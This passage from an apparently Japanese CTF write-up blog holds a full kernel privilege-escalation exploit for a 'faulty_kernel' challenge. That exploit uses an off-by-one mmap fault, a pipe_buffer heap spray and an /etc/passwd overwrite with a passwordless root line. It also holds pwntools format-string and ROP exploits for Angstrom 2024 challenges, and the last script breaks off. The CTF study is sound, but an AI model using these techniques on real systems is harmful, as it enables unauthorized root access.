class="giallo-l"><span> dev.fops</span><span style="color: #F97583;"> = &amp;</span><span>dev_fops;</span></span> <span class="giallo-l"><span> dev.mode</span><span style="color: #F97583;"> = 0</span><span style="color: #79B8FF;">644</span><span>;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (</span><span style="color: #B392F0;">misc_register</span><span>(</span><span style="color: #F97583;">&amp;</span><span>dev)) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> FAIL;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #B392F0;"> printk</span><span>(KERN_INFO </span><span style="color: #9ECBFF;">&quot;[dev] It&#39;s mappin&#39; time!</span><span style="color: #79B8FF;">\n</span><span style="color: #9ECBFF;">&quot;</span><span>);</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> SUCCESS;</span></span> <span class="giallo-l"><span>}</span></span></code></pre> <p>図示すると以下のような状態になっています。 <div class="inserted_img"> <img src="https:&#x2F;&#x2F;blog.rqda.wtf&#x2F;processed_images&#x2F;overview.53b793db26c78106.png" alt=""/> <p>問題の概観</p></div> </p> <h2 id="cui-ruo-xing">脆弱性</h2> <p>脆弱性は<code>dev_vma_fault</code>関数にあります。 <br /> この関数は、pagefaultが発生した際にpgoff番目のpageを返す処理を実装していますが、<code>sbuf-&gt;pagecount</code>はpagesの個数を表しているためoff-by-oneが発生します。</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #F97583;">if</span><span> (pgoff </span><span style="color: #F97583;">&gt;</span><span> sbuf</span><span style="color: #F97583;">-&gt;</span><span>pagecount) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> VM_FAULT_SIGBUS;</span></span> <span class="giallo-l"><span>}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #B392F0;">get_page</span><span>(sbuf</span><span style="color: #F97583;">-&gt;</span><span style="color: #FFAB70;">pages</span><span>[pgoff]);</span></span> <span class="giallo-l"><span>vmf</span><span style="color: #F97583;">-&gt;</span><span>page </span><span style="color: #F97583;">=</span><span> sbuf</span><span style="color: #F97583;">-&gt;</span><span style="color: #FFAB70;">pages</span><span>[pgoff];</span></span></code></pre><h2 id="gong-ji">攻撃</h2> <p>mmap時のチェックに問題はないので、mmapに渡せる最大サイズは<code>PAGE * 128</code>となります。その後mremapを呼び、sizeを<code>PAGE * 129</code>に変更し<code>sbuf-&gt;pages[128]</code>にアクセスすると上記のOOB Readが出来ます。<br /> では、どのオブジェクトを隣接させると良いでしょうか？ pagesは<code>kmalloc_array(sbuf-&gt;pagecount, sizeof(*sbuf-&gt;pages), GFP_KERNEL)</code>で確保され、これはkmalloc-1kに入ります。ということは、最初の8byteが<code>page*</code>、かつ、kmalloc-1k sizedな構造体を探すと良さそうでこれは<a rel="external" href="https://elixir.bootlin.com/linux/v6.10-rc4/source/include/linux/pipe_fs_i.h#L26">pipe_buffer</a>が該当します。<br /> したがって、exploit時のheapの状態はこのようになっていると良さそうです。 <div class="inserted_img"> <img src="https:&#x2F;&#x2F;blog.rqda.wtf&#x2F;processed_images&#x2F;exploit.96bac530c669b23a.png" alt=""/> <p>exploit前のheapの状態</p></div> </p> <p>というわけで権限昇格までの流れは以下のとおりになります。</p> <ol> <li>kmalloc 1kを埋める</li> <li>pipe_bufferを大量に確保</li> <li>pipe_bufferを1つおきに開放</li> <li>pipe_bufferの先頭要素を/etc/passwdのpageに変更</li> <li>問題のドライバにmmap</li> <li>mremap</li> <li>OOB Readを使って/etc/passwdに書き込み</li> </ol> <h2 id="exploit">Exploit</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #F97583;">#include</span><span style="color: #9ECBFF;"> &quot;./exploit.h&quot;</span></span> <span class="giallo-l"><span style="color: #F97583;">#include</span><span style="color: #9ECBFF;"> &quot;./common.h&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #6A737D;">/*********** commands ******************/</span></span> <span class="giallo-l"><span style="color: #F97583;">#define</span><span style="color: #B392F0;"> DEV_PATH</span><span style="color: #9ECBFF;"> &quot;/dev/challenge&quot;</span><span style="color: #6A737D;"> // the path the device is placed</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">#define</span><span style="color: #B392F0;"> PAGECOUNT</span><span style="color: #79B8FF;"> 128</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #6A737D;">/*********** constants ******************/</span></span> <span class="giallo-l"><span style="color: #6A737D;">// (END globals)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">struct</span><span> fd_pair {</span></span> <span class="giallo-l"><span style="color: #F97583;"> int</span><span style="color: #FFAB70;"> fd</span><span>[</span><span style="color: #79B8FF;">2</span><span>];</span></span> <span class="giallo-l"><span>};</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">struct</span><span> fd_pair </span><span style="color: #FFAB70;">pairs</span><span>[</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">100</span><span>];</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">void</span><span style="color: #B392F0;"> heap_spray</span><span>() {</span></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> (</span><span style="color: #F97583;">int</span><span> i </span><span style="color: #F97583;">=</span><span style="color: #79B8FF;"> 0</span><span>; i </span><span style="color: #F97583;">&lt; 0x</span><span style="color: #79B8FF;">100</span><span>; i</span><span style="color: #F97583;">++</span><span>) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (</span><span style="color: #B392F0;">pipe</span><span>(</span><span style="color: #FFAB70;">pairs</span><span>[i].fd)) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> errExit</span><span>(</span><span style="color: #9ECBFF;">&quot;pipe&quot;</span><span>);</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> (</span><span style="color: #F97583;">int</span><span> i </span><span style="color: #F97583;">=</span><span style="color: #79B8FF;"> 0</span><span>; i </span><span style="color: #F97583;">&lt; 0x</span><span style="color: #79B8FF;">100</span><span>; i</span><span style="color: #F97583;">++</span><span>) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (</span><span style="color: #F97583;">!</span><span>(i </span><span style="color: #F97583;">%</span><span style="color: #79B8FF;"> 2</span><span>)) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (</span><span style="color: #B392F0;">close</span><span>(</span><span style="color: #FFAB70;">pairs</span><span>[i].fd[</span><span style="color: #79B8FF;">0</span><span>])</span><span style="color: #F97583;"> ||</span><span style="color: #B392F0;"> close</span><span>(</span><span style="color: #FFAB70;">pairs</span><span>[i].fd[</span><span style="color: #79B8FF;">1</span><span>])) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> errExit</span><span>(</span><span style="color: #9ECBFF;">&quot;close&quot;</span><span>);</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span>}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">void</span><span style="color: #B392F0;"> splice_pipe</span><span>(</span><span style="color: #F97583;">void *</span><span style="color: #FFAB70;">addr</span><span>) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> (</span><span style="color: #F97583;">int</span><span> i </span><span style="color: #F97583;">=</span><span style="color: #79B8FF;"> 0</span><span>; i </span><span style="color: #F97583;">&lt; 0x</span><span style="color: #79B8FF;">100</span><span>; i</span><span style="color: #F97583;">++</span><span>) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (i </span><span style="color: #F97583;">%</span><span style="color: #79B8FF;"> 2</span><span>) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> struct</span><span> iovec iov </span><span style="color: #F97583;">=</span><span> {.iov_base</span><span style="color: #F97583;">=</span><span>addr, .iov_len</span><span style="color: #F97583;">=</span><span>PAGE};</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (</span><span style="color: #B392F0;">vmsplice</span><span>(</span><span style="color: #FFAB70;">pairs</span><span>[i].fd[</span><span style="color: #79B8FF;">1</span><span>],</span><span style="color: #F97583;"> &amp;</span><span>iov,</span><span style="color: #79B8FF;"> 1</span><span>,</span><span style="color: #79B8FF;"> 0</span><span>)</span><span style="color: #F97583;"> &lt;</span><span style="color: #79B8FF;"> 0</span><span>) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> errExit</span><span>(</span><span style="color: #9ECBFF;">&quot;vmsplice&quot;</span><span>);</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span>}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">int</span><span style="color: #B392F0;"> main</span><span>(</span><span style="color: #F97583;">int</span><span style="color: #FFAB70;"> argc</span><span>,</span><span style="color: #F97583;"> char *</span><span style="color: #FFAB70;">argv</span><span style="color: #F97583;">[]</span><span>) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> char *</span><span>BACKDOOR </span><span style="color: #F97583;">=</span><span style="color: #9ECBFF;"> &quot;root::0:0:root:/root:/bin/sh&quot;</span><span>;</span></span> <span class="giallo-l"><span style="color: #F97583;"> int</span><span> passwd_fd </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> SYSCHK</span><span>(</span><span style="color: #B392F0;">open</span><span>(</span><span style="color: #9ECBFF;">&quot;/etc/passwd&quot;</span><span>, O_RDONLY));</span></span> <span class="giallo-l"><span style="color: #F97583;"> void*</span><span> passwd_addr </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> SYSCHK</span><span>(</span><span style="color: #B392F0;">mmap</span><span>(</span><span style="color: #79B8FF;">0</span><span>, PAGE, PROT_READ, MAP_SHARED, passwd_fd,</span><span style="color: #79B8FF;"> 0</span><span>));</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;passwd addr: </span><span style="color: #79B8FF;">%p\n</span><span style="color: #9ECBFF;">&quot;</span><span>, passwd_addr);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> heap_spray</span><span>();</span></span> <span class="giallo-l"><span style="color: #F97583;"> int</span><span> fd </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> open</span><span>(DEV_PATH, O_RDWR);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> splice_pipe</span><span>(passwd_addr);</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> void*</span><span> old_addr </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> SYSCHK</span><span>(</span><span style="color: #B392F0;">mmap</span><span>(</span><span style="color: #79B8FF;">0</span><span>, PAGE </span><span style="color: #F97583;">*</span><span> PAGECOUNT, PROT_READ</span><span style="color: #F97583;">|</span><span>PROT_WRITE, MAP_SHARED, fd,</span><span style="color: #79B8FF;"> 0</span><span>));</span></span> <span class="giallo-l"><span style="color: #F97583;"> void*</span><span> new_addr </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> SYSCHK</span><span>(</span><span style="color: #B392F0;">mremap</span><span>(old_addr,PAGE </span><span style="color: #F97583;">*</span><span> PAGECOUNT, (PAGE</span><span style="color: #F97583;">+</span><span style="color: #79B8FF;">1</span><span>)</span><span style="color: #F97583;"> *</span><span> PAGECOUNT, MREMAP_MAYMOVE));</span></span> <span class="giallo-l"><span style="color: #F97583;"> char*</span><span> passwd_str </span><span style="color: #F97583;">=</span><span> (</span><span style="color: #F97583;">char*</span><span>)new_addr</span><span style="color: #F97583;">+</span><span>(PAGE</span><span style="color: #F97583;">*</span><span>PAGECOUNT);</span></span> <span class="giallo-l"><span style="color: #F97583;"> int</span><span> pid </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> getpid</span><span>();</span></span> <span class="giallo-l"><span style="color: #B392F0;"> memcpy</span><span>(passwd_str, BACKDOOR,</span><span style="color: #B392F0;"> strlen</span><span>(BACKDOOR)</span><span style="color: #F97583;">+</span><span style="color: #79B8FF;">1</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> system</span><span>(</span><span style="color: #9ECBFF;">&quot;/bin/su -&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> system</span><span>(</span><span style="color: #9ECBFF;">&quot;/bin/sh&quot;</span><span>);</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #6A737D;"> // end of life</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;[ ] END of life...&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> sleep</span><span>(</span><span style="color: #79B8FF;">999999</span><span>);</span></span> <span class="giallo-l"><span>}</span></span></code></pre> <p>概略はつかめると思いますが、使っているマクロの詳細などを知りたい方は<a rel="external" href="https://github.com/rqdaA/kernel-ctf/tree/master/faulty_kernel">GitHub</a>まで。</p> 2024-05-30T00:00:00+00:00 2024-05-30T00:00:00+00:00 Unknown https://blog.rqda.wtf/angstrom-2024/ <p><a rel="external" href="https://ctftime.org/event/2375">Angstorm</a>にTPCとして出場しました。 コンテスト中にpwn7問を解き、コンテスト後にとstacksort追加で解きました。</p> <h1 id="pwn-exam">[pwn] Exam</h1> <h2 id="gai-yao">概要</h2> <ul> <li><code>trust_level</code>が<code>0x7ffffffe</code>超えるとflagがもらえます。</li> <li><code>trust_level</code>は<code>-detrust</code>で初期化され、ループの中で1づつ増加させることができます。</li> <li><code>detrust</code>は入力で与えることができます。</li> <li><code>detrust</code>は正の範囲で入力できる。</li> </ul> <h2 id="exploit">exploit</h2> <p><code>detrust</code>を<code>0x7fffffff</code>にすることで<code>trust_level</code>を<code>0x80000001</code>にすることができます。 あとはこれに2を足す処理を行うと<code>trust_level</code>が<code>0x7fffffff</code>になりflagが得られます。</p> <h1 id="pwn-presidential">[pwn] presidential</h1> <h2 id="gai-yao-1">概要</h2> <p>任意のshellcodeを実行してくれます。</p> <h2 id="exploit-1">exploit</h2> <p>https://www.exploit-db.com/exploits/42179 を送るとシェルが降ってきます。</p> <h1 id="pwn-og">[pwn] og</h1> <h2 id="jie-xi">解析</h2> <p>checksecをします。</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="plain"><span class="giallo-l"><span>[*] &#39;/home/user/ctf/og/og&#39;</span></span> <span class="giallo-l"><span> Arch: amd64-64-little</span></span> <span class="giallo-l"><span> RELRO: Partial RELRO</span></span> <span class="giallo-l"><span> Stack: Canary found</span></span> <span class="giallo-l"><span> NX: NX enabled</span></span> <span class="giallo-l"><span> PIE: No PIE (0x400000)</span></span></code></pre><h2 id="cui-ruo-xing">脆弱性</h2> <p>自明なFSBとBoFがあります。</p> <h2 id="gong-ji">攻撃</h2> <p>FSBを使ってlibc leakをし、BoFでmainにリターンします。その後、one_gadgetを利用してシェルを取ります。</p> <h2 id="exploit-2">exploit</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="python"><span class="giallo-l"><span style="color: #F97583;">from</span><span> pwn</span><span style="color: #F97583;"> import *</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>context.arch</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;amd64&quot;</span></span> <span class="giallo-l"><span>context.bits</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 64</span></span> <span class="giallo-l"><span>context.terminal</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;tmux splitw -h&quot;</span><span>.split()</span></span> <span class="giallo-l"><span>context.log_level</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;DEBUG&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>s2sh</span><span style="color: #F97583;"> = lambda</span><span> pl:</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;&quot;</span><span>.join([p8(</span><span style="color: #79B8FF;">int</span><span>(pl[i: i</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 2</span><span>],</span><span style="color: #79B8FF;"> 16</span><span>))</span><span style="color: #F97583;"> for</span><span> i</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #79B8FF;"> len</span><span>(pl),</span><span style="color: #79B8FF;"> 2</span><span>)])</span></span> <span class="giallo-l"><span>s2u64</span><span style="color: #F97583;"> = lambda</span><span> s: u64(s.ljust(</span><span style="color: #79B8FF;">8</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&quot;</span><span>))</span></span> <span class="giallo-l"><span>i2b</span><span style="color: #F97583;"> = lambda</span><span> x:</span><span style="color: #F97583;"> f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>.encode()</span></span> <span class="giallo-l"><span>ptr_guard</span><span style="color: #F97583;"> = lambda</span><span> pos, ptr: (pos</span><span style="color: #F97583;"> &gt;&gt;</span><span style="color: #79B8FF;"> 12</span><span>)</span><span style="color: #F97583;"> ^</span><span> ptr</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> create_io</span><span>() -&gt; tubes.tube.tube:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if not</span><span> local:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> remote(remote_addr,</span><span style="color: #79B8FF;"> int</span><span>(remote_port))</span></span> <span class="giallo-l"><span style="color: #F97583;"> elif</span><span> debug:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> radare:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process([elf_name],</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span> util.proc.wait_for_debugger(util.proc.pidof(io)[</span><span style="color: #79B8FF;">0</span><span>])</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> gdb.debug([elf_name], script,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process([elf_name],</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> io</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> solve</span><span>():</span></span> <span class="giallo-l"><span style="color: #F97583;"> global</span><span> t</span></span> <span class="giallo-l"><span> sa</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendafter(x, y)</span></span> <span class="giallo-l"><span> sla</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendlineafter(x, y)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;name: &#39;</span><span>,</span></span> <span class="giallo-l"><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;%15$16p!&#39;</span><span style="color: #F97583;"> +</span><span> fmtstr_payload(</span><span style="color: #79B8FF;">7</span><span>, {</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">404018</span><span>:</span><span style="color: #F97583;"> 0x</span><span style="color: #79B8FF;">40126d</span><span>},</span><span style="color: #FFAB70;"> numbwritten</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">17</span><span>,</span><span style="color: #FFAB70;"> write_size</span><span style="color: #F97583;">=</span><span style="color: #9ECBFF;">&#39;short&#39;</span><span>)</span><span style="color: #F97583;"> +</span><span> p64(</span></span> <span class="giallo-l"><span> elf.sym[</span><span style="color: #9ECBFF;">&#39;main&#39;</span><span>]</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 5</span><span>))</span></span> <span class="giallo-l"><span> buf</span><span style="color: #F97583;"> =</span><span> t.recvuntil(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;!&#39;</span><span>)[:</span><span style="color: #F97583;">-</span><span style="color: #79B8FF;">1</span><span>]</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> print</span><span>(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">{</span><span>buf</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"><span> libc_base</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> int</span><span>(buf[buf.rindex(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;0x&#39;</span><span>):],</span><span style="color: #79B8FF;"> 16</span><span>)</span><span style="color: #F97583;"> - 0x</span><span style="color: #79B8FF;">29d90</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> print</span><span>(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">{</span><span>libc_base</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;name:&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #F97583;"> * 0x</span><span style="color: #79B8FF;">30</span><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">404700</span><span>)</span><span style="color: #F97583;"> +</span><span> p64(libc_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">ebc81</span><span>))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> t.interactive()</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span>local</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"><span>debug</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"><span>radare</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>elf_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./og&quot;</span></span> <span class="giallo-l"><span>libc_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;&quot;</span></span> <span class="giallo-l"><span>remote_addr, remote_port</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;challs.actf.co 31312&quot;</span><span>.split()</span></span> <span class="giallo-l"><span style="color: #F97583;">if</span><span> libc_name:</span></span> <span class="giallo-l"><span> libc:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(libc_name)</span></span> <span class="giallo-l"><span>elf:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(elf_name)</span></span> <span class="giallo-l"><span>script</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span style="color: #9ECBFF;">&quot;&quot;&quot;</span></span> <span class="giallo-l"><span>t</span><span style="color: #F97583;"> =</span><span> create_io()</span></span> <span class="giallo-l"><span>solve()</span></span></code></pre><h1 id="pwn-bap">[pwn] bap</h1> <h2 id="jie-xi-1">解析</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="plain"><span class="giallo-l"><span>[*] &#39;/home/user/ctf/bap/bap&#39;</span></span> <span class="giallo-l"><span> Arch: amd64-64-little</span></span> <span class="giallo-l"><span> RELRO: Full RELRO</span></span> <span class="giallo-l"><span> Stack: No canary found</span></span> <span class="giallo-l"><span> NX: NX enabled</span></span> <span class="giallo-l"><span> PIE: No PIE (0x400000)</span></span></code></pre><h2 id="cui-ruo-xing-1">脆弱性</h2> <p>ogと同様にFSBとBoFがあります。</p> <h2 id="gong-ji-1">攻撃</h2> <p>FSBを使ってlibc leakをし、BoFでmainにリターンします。その後ROPをします。</p> <h2 id="exploit-3">exploit</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="python"><span class="giallo-l"><span style="color: #F97583;">from</span><span> pwn</span><span style="color: #F97583;"> import *</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>context.arch</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;amd64&quot;</span></span> <span class="giallo-l"><span>context.bits</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 64</span></span> <span class="giallo-l"><span>context.terminal</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;tmux splitw -h&quot;</span><span>.split()</span></span> <span class="giallo-l"><span>context.log_level</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;DEBUG&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>s2sh</span><span style="color: #F97583;"> = lambda</span><span> pl:</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;&quot;</span><span>.join([p8(</span><span style="color: #79B8FF;">int</span><span>(pl[i: i</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 2</span><span>],</span><span style="color: #79B8FF;"> 16</span><span>))</span><span style="color: #F97583;"> for</span><span> i</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #79B8FF;"> len</span><span>(pl),</span><span style="color: #79B8FF;"> 2</span><span>)])</span></span> <span class="giallo-l"><span>s2u64</span><span style="color: #F97583;"> = lambda</span><span> s: u64(s.ljust(</span><span style="color: #79B8FF;">8</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&quot;</span><span>))</span></span> <span class="giallo-l"><span>i2b</span><span style="color: #F97583;"> = lambda</span><span> x:</span><span style="color: #F97583;"> f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>.encode()</span></span> <span class="giallo-l"><span>ptr_guard</span><span style="color: #F97583;"> = lambda</span><span> pos, ptr: (pos</span><span style="color: #F97583;"> &gt;&gt;</span><span style="color: #79B8FF;"> 12</span><span>)</span><span style="color: #F97583;"> ^</span><span> ptr</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> create_io</span><span>() -&gt; tubes.tube.tube:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if not</span><span> local:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> remote(remote_addr,</span><span style="color: #79B8FF;"> int</span><span>(remote_port))</span></span> <span class="giallo-l"><span style="color: #F97583;"> elif</span><span> debug:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> radare:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process([elf_name],</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span> util.proc.wait_for_debugger(util.proc.pidof(io)[</span><span style="color: #79B8FF;">0</span><span>])</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> gdb.debug([elf_name], script,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process([elf_name],</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> io</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> solve</span><span>():</span></span> <span class="giallo-l"><span style="color: #F97583;"> global</span><span> t</span></span> <span class="giallo-l"><span> sa</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendafter(x, y)</span></span> <span 